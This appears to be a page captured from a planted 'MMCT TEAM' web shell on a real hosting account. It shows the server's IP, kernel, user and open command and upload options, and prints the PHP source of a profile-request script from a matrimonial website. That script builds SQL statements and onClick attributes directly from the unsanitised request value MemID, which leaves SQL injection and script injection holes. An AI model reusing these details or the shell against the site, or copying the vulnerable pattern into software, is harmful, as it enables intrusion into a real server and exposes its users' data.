MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.116.40.151
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/vivahmilankendra.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/vivahmilankendra.com/member-other-profile-request.php
<?php 
ob_start();
require_once("includes/dbsmain.inc.php"); 
include("site-main-query.php");
?>
<?php
if($_REQUEST['MemID']!=""){

$MemID=$_REQUEST['MemID'];

$checkReq=db_scalar("SELECT msg_id FROM tbl_msg_box WHERE msg_to_mem_id='$userDATA[reg_id]' AND msg_from_mem_id='$MemID' ");

$checkReq2=db_scalar("SELECT msg_id FROM tbl_msg_box WHERE msg_to_mem_id='$MemID' AND msg_from_mem_id='$userDATA[reg_id]' ");
?>
<!-- /*$sql="SELECT msg_id FROM tbl_msg_box WHERE msg_to_mem_id='$MemID' AND msg_from_mem_id='$userDATA[reg_id]' ";
$checkReq=db_scalar($sql);*/ -->

<h4 style="font-weight:bold; padding: 5px; border-radius: 5px; color:#4ba379; background-color: rgba(187,187,187,0.5);"><i class="fa fa-spinner" style="color:#7ba76d;"></i> Request In Process</h4>
<br>
<?php
if(!$checkReq && !$checkReq2){
$sql="INSERT INTO tbl_msg_box SET msg_to_mem_id='$MemID',msg_from_mem_id='$userDATA[reg_id]',msg_req_sent_date='".date("Y-m-d")."',msg_req_sent_time='".date("H:i:s")."',msg_status='Pending' ";
$res=db_query($sql);
if($res){
	$id=db_scalar("SELECT MAX(msg_id) FROM tbl_msg_box");
?>

<a href="Javascript:void(0)" id="dcln" onClick="change_status('<?=$id?>','Cancelled','<?=$MemID?>','','')" class="btn no-radius mb5 f14"><i class="fa fa-times-circle" id="dcln_icon" aria-hidden="true"></i> Cancel</a>

<a href="Javascript:void(0)" id="sndR_btn" onClick="change_status('<?=$id?>','Reminder','<?=$MemID?>','','')" class="btn no-radius mb5 f14"><i class="fa fa-bell" id="sndR_icon" aria-hidden="true"></i> Send Reminder</a>
<?php 
}
}
else{
$sql="UPDATE tbl_msg_box SET msg_status='Pending',msg_from_mem_id='$userDATA[reg_id]',msg_to_mem_id='$MemID' WHERE msg_id='$checkReq' ";
$res=db_query($sql);
if($res){
?>

<a href="Javascript:void(0)" id="dcln" onClick="change_status('<?=$checkReq?>','Cancelled','<?=$MemID?>','','')" class="btn no-radius mb5 f14"><i class="fa fa-times-circle" id="dcln_icon" aria-hidden="true"></i> Cancel</a>

<a href="Javascript:void(0)" id="sndR_btn" onClick="change_status('<?=$checkReq?>','Reminder','<?=$MemID?>','','')" class="btn no-radius mb5 f14"><i class="fa fa-bell" id="sndR_icon" aria-hidden="true"></i> Reminder</a>
<?php }
}}?>


MMCT - 2023